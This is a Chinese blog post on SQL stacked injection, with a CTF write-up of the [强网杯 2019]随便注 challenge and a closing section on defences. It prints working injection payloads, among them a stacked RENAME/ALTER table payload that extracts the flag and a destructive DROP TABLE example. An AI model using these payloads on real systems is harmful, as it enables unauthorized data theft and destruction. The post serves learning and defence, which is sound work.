sql-堆叠注入

前几星期写题时遇见了好几道关于堆叠注入的题目,结果发现我对堆叠注入不是特别了解,所以写一下博客记录一下,但是发现堆叠注入使用的场景和条件好像有点苛刻。

目录

堆叠注入原理

堆叠注入触发条件

实例

[强网杯 2019]随便注


堆叠注入原理

堆叠注入,顾名思义,就是将语句堆叠在一起进行查询
原理很简单,mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句,例如

 select * from users;show databases; 

就同时执行以上两条命令,所以我们可以增删改查,只要权限够。
虽然这个注入姿势很牛逼,但实际遇到很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

堆叠注入触发条件

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服务器在访问数据端时使用的是可同时执行多条sql语句的方法,例如php中的mysqli_multi_query函数。但与之相对应的mysqli_query()函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数,简单总结下来就是

1、目标存在sql注入漏洞
2、目标未对";"号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句

实例

[强网杯 2019]随便注

输入1,页面返回正常;
输入1’ 页面报错了,加上注释符号#页面又回显正常,那么闭合符号就是单引号

然后进行正常的操作。

判断列数:

1' order by 2#   //回显正常
1' order by 3#   //回显报错

 

 联合查询:

1' union select 1,2#

发现过滤了很多函数。

尝试堆叠注入:

1'; show databases;#

 

查表名:

1'; show tables;#

 

查询这两个表名中的列:

注意:这里查询表名使用反单引号,在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符。

-1'; show columns from 'words';#
-1'; show columns from `1919810931114514`;#

 在表1919810931114514中发现flag

 虽然我们已经找到了flag了,但是select被过滤了,而show命令又不能查看值。这就比较头疼了,不过如果仔细观察的话,一开始过滤的并没有alert 和 rename,我们已经知道了words是用来回显内容的,所以思路就是:我们把1919810931114514这个表更改名字为words,并增加相应的字段,使之回显原1919810931114514这个表的内容里面。

  1. 将words的表名改成其它名字
  2. 将1919810931114514表名改成"words"
  3. 将flag列名改成id或者data
  4. 在将这个新的words表插入一个列,即id或者data

这里就要考验到我们对sql数据库的增删查改的能力了,当然我也不会,所以去网上搜一下。 

rename: 修改名字
使用方法:rename table(修改的类型) tableA(待修改的表等) to tableB(重命名后的名字)
alter:队列进行操作
使用方法:alter table table[表名] add column[列名] type[数据类型] //(添加列)
		alter table table[表名] change columnA[原列名] column[修改后列名] type[数据类型] //改变列名1
		alter table table[表名] rename columnA[原列名] column[修改后列名]  //改变列名2,(不改变数据类型)
		alter table table[表名] alter column column[列名] type[修改后的数据类型] //修改列的数据类型
		alter table table[表名] drop column[列名] type[数据类型]  //删除表中的某一列
		SQL限制条件:
        alter table table[表名] modify column[列名] int not null  //是某一列不能存储null的字段
        alter table table[表名] modify column[列名] int null     //解除对not null的限制
        alter table table[表名] add column[列名] primary key (id) 
        //- NOT NULL 和 UNIQUE 的结合。指定主键,确保某列(或多个列的结合)有唯一标识,每个表有且只有一个主键。
        alter table table[表名] add unique (id);
        //增加unique约束。保证某列的每行必须有唯一的值。(注:可以有多个 UNIQUE 约束,只能有一个 PRIMARY KEY 约束)
        alter table table[表名] add check (限制条件); //限制列的值得范围
        alter table table[表名] alter column[列名] set default '默认值' //设置默认值,即未给列赋值时的默认值
		alter table table[表名] add constraint ab_c default '默认值' for column[列名] //
		alter table table[表名] add column[列名] auto_increment    //自动赋值,默认从1开始
		alter table table[表名] add column[列名] foreign key //保证一个表中的数据匹配另一个表中的值的参照完整性

构造出payload如下:

1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) ;show columns from words;#
  • rename table words to word1; //将words表名更改为word1
  • rename table1919810931114514to words;//将1919810931114514表名改为words
  • alter table words change flag id varchar(100); //将words表中的flag列改成数据类型为char(100)名字为data的新列

 

 

### SQL 堆叠注入概述 SQL堆叠注入是一种攻击方式,其中攻击者通过在同一查询字符串中附加额外的有效SQL语句来执行未授权的操作。这种技术利用了某些数据库管理系统允许在一个输入字段内执行多个语句的能力[^1]。 #### 原理 当应用程序未能正确验证用户输入并将其直接拼接到SQL命令时,就可能发生这种情况。如果存在漏洞,则可以构造特殊的输入,在原始预期操作之后插入分号`;`和其他恶意指令。例如: ```sql SELECT * FROM users WHERE id = '1'; DROP TABLE users; -- ``` 上述例子展示了如何在合法请求后面追加破坏性的删除表动作;最后两个连字符表示注释符号,用于忽略任何后续由程序自动生成的内容。 #### 方法 为了成功实施此类攻击,通常需要满足几个条件- 数据库配置允许多条语句一起提交; - 应用层面对最终形成的SQL文本缺乏严格过滤机制; - 攻击面暴露于可被操控的数据入口处,比如URL参数、HTTP POST体内的form fields等位置。 #### 防御措施 防止SQL堆叠注入的关键在于遵循安全编码实践以及采用多层防护策略: - **预编译语句**:使用参数化查询代替动态构建的SQL串,这样即使有危险字符传入也不会改变原有逻辑结构。 ```java PreparedStatement pstmt = connection.prepareStatement("INSERT INTO table (column) VALUES (?)"); pstmt.setString(1, userInput); ``` - **最小权限原则**:确保运行Web应用的服务账户只拥有完成其职责所需的最低限度访问权,从而减少潜在危害范围。 - **输入验证与清理**:对所有外部数据源进行全面检查,去除非法成分的同时保留有效部分。 - **启用WAF(Web Application Firewall)**:部署专门针对已知模式匹配的安全设备或服务端插件,实时拦截可疑流量。 - **定期审计代码质量**:保持良好的开发习惯,及时发现并修复可能存在的安全隐患[^2].
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值